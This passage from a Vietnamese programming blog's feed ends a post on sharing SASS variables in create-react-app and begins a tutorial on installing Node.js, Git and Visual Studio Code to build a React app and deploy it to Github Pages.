punctuation">:</span> <span class="token function">rotate</span><span class="token punctuation">(</span>360deg<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Tuy nhiên, vì variable này có thể được sử dụng ở nhiều component khác nhau, nên mình sẽ tạo ra một file riêng để chứa các variable này. Rồi sau đó mình chỉ cần import là có thể sử dụng khi cần.</p> <p>Đầu tiên mình tạo thư mục <strong>scss</strong> bên trong thự mục <strong>src</strong> để chứa file <strong>variables.scss</strong>. Trong file variables.scss mình sẽ định nghĩa các variable để sử dụng chung cho các file scss khác sau này:</p> <div class="gatsby-code-title gatsby-remark-code-title">scss/variables.scss</div> <div class="gatsby-highlight" data-language="scss"><pre class="language-scss"><code class="language-scss"><span class="token comment">/** * Variables */</span> <span class="token comment">// Color</span> <span class="token property"><span class="token variable">$primaryColor</span></span><span class="token punctuation">:</span> #61dafb<span class="token punctuation">;</span></code></pre></div> <p>Sau đó, ở file App.scss mình sửa phần khai báo thành import:</p> <div class="gatsby-code-title gatsby-remark-code-title">App.scss</div> <div class="gatsby-highlight" data-language="diff"><pre class="language-diff"><code class="language-diff"><span class="token deleted-sign deleted"><span class="token prefix deleted">-</span> $primaryColor: #61dafb; </span><span class="token inserted-sign inserted"><span class="token prefix inserted">+</span> @import "./scss/variables.scss";</span></code></pre></div> <p>Bạn có thể thấy code chạy vẫn bình thường và không có lỗi xảy ra.</p> <p>Về sau, nếu muốn định nghĩa thêm variable thì bạn chỉ cần cập nhật vào file variables.scss. Rồi ở file .scss nào muốn sử dụng thì gọi lệnh import như trên là được.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách sử dụng SASS với create-react-app của mình. Nếu bạn có thắc mắc hay góp ý gì thì vui lòng để lại trong phần bình luận phía dưới nhé.</p> <a href="https://github.com/completejavascript/react-app-template/tree/01-add-sass" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Tạo và deploy ứng dụng React lên Github Pages]]><![CDATA[Chào bạn! Gần đây mình có dành thời gian tìm hiểu về React và cũng đã làm được một số project nho nhỏ như: Markdown Editor, Drum Machine... Trong những project này, mình đều sử…]]>https://completejavascript.com/deploy-ung-dung-react-len-github-pages/https://completejavascript.com/deploy-ung-dung-react-len-github-pages/<![CDATA[Create-react-app]]><![CDATA[Git]]><![CDATA[Node.js]]><![CDATA[Hosting]]>Tue, 01 Jan 2019 13:55:27 GMT<p>Chào bạn! Gần đây mình có dành thời gian tìm hiểu về React và cũng đã làm được một số project nho nhỏ như: <a href="http://about.phamvanlam.com/markdown-editor/">Markdown Editor</a>, <a href="http://about.phamvanlam.com/drum-machine/">Drum Machine</a>... Trong những project này, mình đều sử dụng <a href="https://reactjs.org/docs/create-a-new-react-app.html">create-react-app</a> để phát triển và deploy sản phẩm lên Github Pages.</p> <p>Mình rất vui nếu bạn dùng thử chúng và cho mình một vài dòng đánh giá. Còn trong bài viết này, mình sẽ tổng hợp lại các bước thực hiện, để đảm bảo rằng bạn có thể tạo và deploy ứng dụng React lên Github Pages với create-react-app thành công <strong>trong năm 2018</strong>.</p> <blockquote> <p><strong>Chú ý:</strong> Khi Create-react-app cập nhật lên <strong>các phiên bản mới hơn</strong>, một số bước trong bài viết này <strong>có thể sẽ bị lỗi</strong>. Nếu gặp bất kỳ lỗi nào, bạn vui lòng để lại bình luận xuống cuối bài viết. Mình sẽ cố gắng giải đáp.</p> </blockquote> <h2 id="một-số-vấn-đề-cần-làm-rõ" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-v%E1%BA%A5n-%C4%91%E1%BB%81-c%E1%BA%A7n-l%C3%A0m-r%C3%B5" aria-label="một số vấn đề cần làm rõ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số vấn đề cần làm rõ</h2> <ul> <li><strong>Create-react-app</strong>: là một toolchain giúp bạn lập trình React một cách đơn giản và thoải mái mà không cần quan tâm đến việc <strong>cấu hình môi trường</strong>. Tool này của Facebook nên bạn hoàn toàn yên tâm sử dụng.</li> <li><strong>Github Pages</strong>: cho phép bạn deploy static website (trang web tĩnh) lên đó với source code chính là Github repository.</li> </ul> <p>Vì vậy, bài viết này chỉ phù hợp khi bạn muốn <a href="/hosting-mien-phi-cho-web-tinh/">deploy các trang web tĩnh</a> đơn giản hoặc Single Page Application. Nếu bạn muốn deploy một trang web dạng blog, hay cần phải xử lý phía server, tương tác với database,... thì hẹn gặp bạn trong một bài viết khác phù hợp hơn nhé!</p> <p>Nếu đọc đến đây, nghĩa là bài viết này phù hợp với bạn. Vậy thì bắt đầu thôi nào!</p> <h2 id="cài-đặt-môi-trường" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-m%C3%B4i-tr%C6%B0%E1%BB%9Dng" aria-label="cài đặt môi trường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt môi trường</h2> <p>Bài viết này sẽ hướng dẫn bạn tạo và deploy ứng dụng React lên Github Pages với create-react-app trên môi trường Windows 7.</p> <p>Nếu máy bạn sử dụng Windows 10 và bị lỗi ở bước nào đó thì có thể để lại bình luận ở phía dưới, mình sẽ cố gắng tìm cách khắc phục giúp bạn.</p> <h3 id="cài-đặt-nodejs" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-nodejs" aria-label="cài đặt nodejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt Node.js</h3> <p>Phần đầu tiên và quan trọng nhất, đó là <strong>Node.js</strong>.</p> <p>Node.js cung cấp môi trường để chạy JavaScript phía ngoài trình duyệt. Trong trường hợp này, Node.js cung cấp môi trường để phát triển - còn gọi là <strong>môi trường dev</strong>.</p> <p>Để cài đặt Node.js, bạn cần vào <a href="https://nodejs.org/en/download/">trang download</a> của Node.js với 2 tuỳ chọn là:</p> <ul> <li><strong>LTS (Recommended For Most Users)</strong>: bản Long Term Support với đặc điểm là ổn định và được khuyên dùng.</li> <li><strong>Current (Lastest Features)</strong>: bản mới nhất hiện tại (thường sẽ có nhiều lỗi, không ổn định bằng bản LTS).</li> </ul> <p>Bạn có thể chọn bản tuỳ thích. Nhưng theo mình, bạn nên chọn bản LTS.</p> <p>Tiếp theo, bạn có thể chọn tải bản <strong>32-bit hoặc 64-bit</strong>. Thường thì máy tính hiện giờ đều chạy được 64-bit, nên bạn cứ tải 64-bit mà cài đặt nhé.</p> <p>Ngoài ra, bạn cũng có 2 lựa chọn là tải bản <strong>Windows Installer (.msi)</strong> hoặc <strong>Windows Binary (.zip)</strong>.</p> <p>Trong đó:</p> <ul> <li><strong>Windows Installer (.msi)</strong>: bạn chỉ việc <strong>chọn và Next, chọn và Next</strong>,... cực kì đơn giản.</li> <li><strong>Windows Binary (.zip)</strong>: bạn phải cài đặt biến môi trường một cách thủ công để dùng Node.js.</li> </ul> <p>Để đơn giản, mình chọn bản <a href="https://nodejs.org/dist/v8.11.4/node-v8.11.4-x64.msi">Windows Installer (.msi) 64-bit</a>. Phiên bản này là <strong>8.11.4</strong> đã bao gồm <strong>npm 5.6.0</strong>, nên thoả mãn yêu cầu của create-react-app hiện tại là <strong>Node >= 6 and npm >= 5.2</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 47.878787878787875%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3klEQVQozz1PTWsUQRBtEAy7etIfIPinRBC/0IO5JNlcPPpx8Dd4EESNCoF48OLNu2iMy7ohuNmPmZ6dnpnd2fno7pnu6uqW2Qn7KKiqB6/qPXJ551K3t3Vlv3P96bWbz250e51ub+tqr0O2yYtvzzWqmEdplQa53w/+/EvOsnq1lIuFTFZVSu6+v/Pw4P724ZO9o939L7t7RzuPPz168OHe7be3Pv46WIjEy2ZBQc8XoxN6choNvdWU5r6feWEZEutwJdM331+zIjQOFNbaaudsVLLDH59jEUWcRYLFguUqG8z7r76+9LJZLKNEJiQo/L9s8JseD9mAFv68DOYlDUp6yobH3s/zxSgSjZjxMOLhqPnfn64msYgSGZNc5pnIcpGXVSFBCC2E5k0pwavyYlVrRguuUl7NuCqF5lILEoaMhSyOYikr55y1Fg06dABQitJZZ9FatIgtGZbyHWJl0aFBMp1OvJlHfaqUasUAYIwBgFrVxhg0KCpRqRrRAGCtTAswQHzPC8PQp1RKuRGjQUTUWjdtIzYIAFqrhluDzDyfUjoejze2jTFaay64rCUAWLRVXWnQaJpzohJc8tYdmUwmy+XSgHFrNJkRwYDSqp1lLZf5Mi3SlrFoL+Ig/gdJCxL5hcW5SAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tải nodejs" title="Tải nodejs" src="/static/5428875a7db28dbd893666fa39af8af0/7c811/download-nodejs.png" srcset="/static/5428875a7db28dbd893666fa39af8af0/103f2/download-nodejs.png 165w, /static/5428875a7db28dbd893666fa39af8af0/748ba/download-nodejs.png 330w, /static/5428875a7db28dbd893666fa39af8af0/7c811/download-nodejs.png 660w, /static/5428875a7db28dbd893666fa39af8af0/b2a21/download-nodejs.png 987w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <blockquote> <p><strong>Chú ý:</strong></p> <p>Các bản Create-react-app mới hơn thường <strong>yêu cầu phiên bản của Node và npm cao hơn</strong>. Nếu bạn tải và cài đặt Node với phiên bản LTS trên trang chủ thì yên tâm là phù hợp với Create-react-app.</p> <p>Trường hợp máy bạn đã có sẵn Node.js rồi thì xem xét <strong>việc nâng cấp lên bản mới hơn</strong> nếu cần.</p> <p>Các bước để cài đặt Node.js bạn có thể làm theo hướng dẫn trong bài viết: <a href="/huong-dan-tim-hieu-node-js-co-ban/">Hướng dẫn tìm hiểu Node.js cơ bản</a></p> <p>Xem thêm về Node.js tại: <a href="https://toidicodedao.com/2018/08/07/series-luoc-su-lap-trinh-web-phan-3-2-nodejs-lam-loan-gioi-front-end/">SERIES LƯỢC SỬ LẬP TRÌNH WEB PHẦN 3.2 – NODEJS LÀM LOẠN GIỚI FRONT-END</a></p> </blockquote> <h3 id="cài-đặt-git-cho-windows" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-git-cho-windows" aria-label="cài đặt git cho windows permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt Git cho Windows</h3> <p><a href="/huong-dan-cac-cau-lenh-git-co-ban/">Git</a> giúp quản lý source code dễ dàng hơn và deploy ứng dụng React lên Github Pages sau khi code xong. Để cài đặt Git cho Windows, bạn vào <a href="https://git-scm.com/download">trang download git</a> và chọn phần <strong>Windows</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAADCklEQVQoz1WQTWgcZQCGR6GXXioBz+JFUOulJwl48NCL4EGJ2vbgQdqDKHhRsKkK1YMIxp82TUmbFGkpaWgjGrAKrUGMtKbddHZ+d2d35293vvnm95vv+2Zm53czsvFUeHh5ed/bwyQxIRhRElGCKYliiup6XFVpVeVVVVRVUeRZkaWTfJzHJEVBSVCJURmTqiqYMPCsoQGmmJrWD33cNM3epKnrqmkmOAqv3dq4ePPnb9Y3Tn37w2tnvpj99LOXT38+e+p9TR0wSRJBaDoB9EI7DD0bbtnemuf/EfiDqiqhbc1fujK/efu9W7++uHLt4IUrTyxcZM6tMic/EDiWCQMoiruSpvSHysgwRWme117pm6/b4O+yrC1De/vHpaM3N2evbzx7+eqhxZUnz11mln468OHHIs8xlPiq3hG1nqj1LFsPfS9wke/6EGh1nek95cjZr186v/zCd4vPLZx/fmHx8PcXDi+tHvzoE17gmGScIIIiigmNMA5w5EXYRSSMKGqapisJz8wdf/rEuzNvvjMzd2xm7thTb7x1aO74gVePcjzHhHFihJGDkOvYLrRjSiileDyOs6xp6jgm9//Z/v32b+tra199efbM/On1G2ubm7/8tXWXUszkZZ4URVHk4yzN82xvr54yqfYm1WRS1XVFKNEN/c+trZXV1eXlS3fu3tENPSJRWeZMlhLqWTSwaeRSEhDsE+wRsp/Yx5GLfIACiCM3iVGaoOmCHBTC8ThmcAit9n0o7ID2PTDsgdEAWANr2LOB6joGHPXtR9tA4QBQR6ZiGl0w6o+GvaGpJDFiwtBps/92ZFbgW5LwUBZafPtBu3WvIz2Ctg6BJgktSWiJ/ENZ3OXZHVlodcRdQ++kScSgELIPtsX2jqpwfYVT5HZXZk1DsYHqQB0AVZJYWWK7Mqt02qbetYFmA8119DhGDEJuu8PzfUnSe4aleq7hOoYLddfRXagBoMp6j1OV6eUY09HRHajbYBBTxKQpdQLHQ67tQS9094U9BsU+Jf93D+9bnIrEXpbF/wE1rrG/VNfEygAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="tải git" title="tải git" src="/static/103182a55e57863067a8654a45e7b3bc/7c811/download-git.png" srcset="/static/103182a55e57863067a8654a45e7b3bc/103f2/download-git.png 165w, /static/103182a55e57863067a8654a45e7b3bc/748ba/download-git.png 330w, /static/103182a55e57863067a8654a45e7b3bc/7c811/download-git.png 660w, /static/103182a55e57863067a8654a45e7b3bc/51c99/download-git.png 692w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Việc cài đặt Git cũng khá đơn giản. Bạn có thể làm theo hướng dẫn trong bài viết: <a href="https://o7planning.org/vi/11707/huong-dan-cai-dat-va-cau-hinh-git-tren-windows">Hướng dẫn cài đặt và cấu hình Git trên Windows</a></p> <h3 id="cài-đặt-visual-studio-code" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-visual-studio-code" aria-label="cài đặt visual studio code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt Visual Studio Code</h3> <p><strong>Visual Studio Code</strong> là một trong những code editor tốt nhất hiện nay. Lý do mình thích sử dụng Visual Studio Code là vì nó tích hợp sẵn Git và Terminal, nên bạn có thể làm mọi thứ trên một màn hình của Visual Studio Code.</p> <p>Để tải Visual Studio Code, bạn vào link: <a href="https://code.visualstudio.com/Download">https://code.visualstudio.com/Download</a> và chọn bản <strong>64-bit</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 53.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwUlEQVQoz3VRa0tUURS9/8QfMP/Az4GBYpJM+AIflZcYhnHyhQiCBloWCIYTkzSIoCAihEGRFogfRFRUVMIHEsj0kplzz+PeezzvuPeWOKKL81jstdfZ+7AtcwW+7xeLIAKEEACAEHYcWCgUCCEAANd1r+Zbl4wxRgiBEGKEMMYIocCMMYQOKAKEEEQQQsg5LzFrbaTSQuoIkRBSpZSKbl2K65VvxGXejZHA7DO1fuJ+3EE+U1Ej4TYEw/PfP64ZlFL5fD6KBOb1Y1L2ZL+8//CPw0JZcy6MMXubq0uLM8YYEX5JiCDY3m7HYjHOhdah+RzL8WU48qGIaUllr7CF8yvG/CsrpTTGTEyM1zfEpQwesvr7ZmurX3QnJ3tSucqK4fm5teOjn7X3Rh+1ZlqaMg9bsm3NmXjN6O7298+fdu7eGUrYue70bE3V896uaWv42UJz4+t0ajqdelsff7n4fvP05Nfj1kxnx1TCzj5N5jo7puy2N98Ozr5+2Xtw/1XCzqaT75rqxgYH5iytFcYOIR5TG748C1sMDikYYxe+1FTp22Zhaa1dz6OUehfGcQUXKhIopcT1MBWE8mi04dL/eYC/WMJBdh2I1vsAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="tải visual studio code" title="tải visual studio code" src="/static/c300d975c84abe26a023ee99ae9b3a0c/7c811/download-visual-studio-code.png" srcset="/static/c300d975c84abe26a023ee99ae9b3a0c/103f2/download-visual-studio-code.png 165w, /static/c300d975c84abe26a023ee99ae9b3a0c/748ba/download-visual-studio-code.png 330w, /static/c300d975c84abe26a023ee99ae9b3a0c/7c811/download-visual-studio-code.png 660w, /static/c300d975c84abe26a023ee99ae9b3a0c/21062/download-visual-studio-code.png 926w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Việc cài đặt Visual Studio Code không có gì đặc biệt, bạn chỉ cần cài đặt theo mặc định.</p> <p>Để biết thêm các tính năng hấp dẫn của Visual Studio Code, bạn có thể tham khảo bài viết: <a href="https://webdesign.tutsplus.com/vi/tutorials/visual-studio-code-my-new-favorite-code-editor--cms-28012">Visual Studio Code: Code Editor yêu thích mới của tôi</a></p> <p>Tạm thời xong về việc <strong>cài đặt môi trường</strong>. Tiếp theo, mình sẽ giới thiệu về cách tạo project <strong>create-react-app</strong>.</p> <h2 id="tạo-ứng-dụng-react-sử-dụng-create-react-app" style="position:relative;"><a href="#t%E1%BA%A1o-%E1%BB%A9ng-d%E1%BB%A5ng-react-s%E1%BB%AD-d%E1%BB%A5ng-create-react-app" aria-label="tạo ứng dụng react sử dụng create react app permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo ứng dụng React sử dụng Create-react-app</h2> <h3 id="tạo-workspace-vùng-làm-việc" style="position:relative;"><a href="#t%E1%BA%A1o-workspace-v%C3%B9ng-l%C3%A0m-vi%E1%BB%87c" aria-label="tạo workspace vùng làm việc permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo workspace (vùng làm việc)</h3> <p>Trước tiên, mình tạo một thư mục - coi như là <strong>workspace</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">D:\create-react-app</code></pre></div> <p>Sau đó, mình mở Visual Studio Code lên, chọn <code>File \ Open Folder...</code>, rồi chọn đến thư mục vừa tạo ở trên.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 63.03030303030304%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9ElEQVQoz+XLTUvDMADG8XyGeuitwaRNhVjNIYsNPbZfIy+Cp34HXxClK7Ktgm5jiHRQVpTtOwplG+JhFq/+eQ7P5Qc+NuumXa8+N3XTLt6Xi7qpm3b6tizGrzcPT7dlVUymw2pWVvO7YnRdjB9HL8PJrHye35cVyPP8qksrrbRWSmmtjTGX1hqjrTHWbLO7bb81QAxEmqZZlnHOKaWnXZRS13Udxzk6GIjjWEqZJImUkjF2vgsh5HkePBhgjEF4jBBGCGMc7Ach9H4LcD7A2A/DE0LCICD79cJCXCCECSHfZX8sOhz+BUfRme8HP2R/HP03/AVieZC4t223BgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Màn hình mặc định của Visual Studio Code" title="Màn hình mặc định của Visual Studio Code" src="/static/a003061075412342dcd632cc82ec6cfe/7c811/visual-studio-code-1.png" srcset="/static/a003061075412342dcd632cc82ec6cfe/103f2/visual-studio-code-1.png 165w, /static/a003061075412342dcd632cc82ec6cfe/748ba/visual-studio-code-1.png 330w, /static/a003061075412342dcd632cc82ec6cfe/7c811/visual-studio-code-1.png 660w, /static/a003061075412342dcd632cc82ec6cfe/3369e/visual-studio-code-1.png 755w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tiếp theo, bạn mở Terminal trên Visual Studio Code bằng cách chọn <code>View \ Terminal</code></p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 53.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABJ0AAASdAHeZh94AAAA10lEQVQoz62RXY6DMAyE89wLVAJCSIDNj4IIBNoeZS+1Z56VrbZita1EJR4+TRQn9tgWVVVBSvkSipVlibqudyO8c2jbFl3XwRiDvu9hrX1qzhlN03AB+vBQpdTrhMu6YppnzDkjL5nPREoT1ssF3jtoY7ioMZqLaq3fdiXysoCSjuPIer3dEIcBMUakKbFLch+HiBACx+ju4fSfwy9r4byDcw4heKSUUBQFz46UZ3yfZbXRbft/ElJwy94lvHX4yeNdW5aU4ECErBWORKjijCMRp+8fHMkvvLw5JiEcSfIAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Màn hình Visual Studio Code sau khi mở Terminal" title="Màn hình Visual Studio Code sau khi mở Terminal" src="/static/81f609f5388c4603b2b1e0d00d31e05c/7c811/visual-studio-code-open-terminal.png" srcset="/static/81f609f5388c4603b2b1e0d00d31e05c/103f2/visual-studio-code-open-terminal.png 165w, /static/81f609f5388c4603b2b1e0d00d31e05c/748ba/visual-studio-code-open-terminal.png 330w, /static/81f609f5388c4603b2b1e0d00d31e05c/7c811/visual-studio-code-open-terminal.png 660w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đến đây, bạn đã có thể sử dụng <a href="/cac-cau-lenh-thuong-dung-tren-cmd-windows/">câu lệnh</a> ngay trên Visual Studio Code.</p> <h3 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo project</h3> <p>Bạn sử dụng câu lệnh sau để tạo mới một project create-react-app:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ npx create-react-app app-name</code></pre></div> <p>Trong đó, <code>app-name</code> là tên project mà bạn muốn đặt. Kết quả của câu lệnh trên là một project mẫu như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 80.60606060606061%; position: relative; bottom: 0; left: 0; background-image: 